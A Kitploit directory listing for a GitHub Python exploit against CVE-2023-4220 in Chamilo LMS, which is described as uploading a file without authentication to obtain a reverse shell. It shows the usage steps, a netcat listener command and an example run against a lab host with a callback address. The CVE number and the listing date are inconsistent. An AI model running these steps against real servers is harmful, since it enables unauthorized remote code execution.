Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-422-Chamilo-LMS-RCE — Python exploit for CVE-2023-4220 in Chamilo LMS that uploads a file and delivers an unauthenticated reverse shell to a netcat listener. | Kitploit
Tools/GitHubGitHub/hhesenjan/cve-2023-422-chamilo-lms-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubhhesenjan/cve-2023-422-chamilo-lms-rce

CVE-2023-422-Chamilo-LMS-RCE

Python exploit for CVE-2023-4220 in Chamilo LMS that uploads a file and delivers an unauthenticated reverse shell to a netcat listener.

View Repository
12 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Prerequisites

root@kitploit:~
pip install requests

Information

The python script uses the vulnerability CVE-2023-422 to upload a file into the server and uses that file to send a reverse shell to the netcat listener and all this can be done without being authenticated. However, you will need to follow the following steps to successfully use the python script.

Start netcat listener:

root@kitploit:~
nc -lnvp 4444

Executing Python Script (Example):

root@kitploit:~
python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"

More...

Please leave a star if the following exploit was useful :)

Download Tool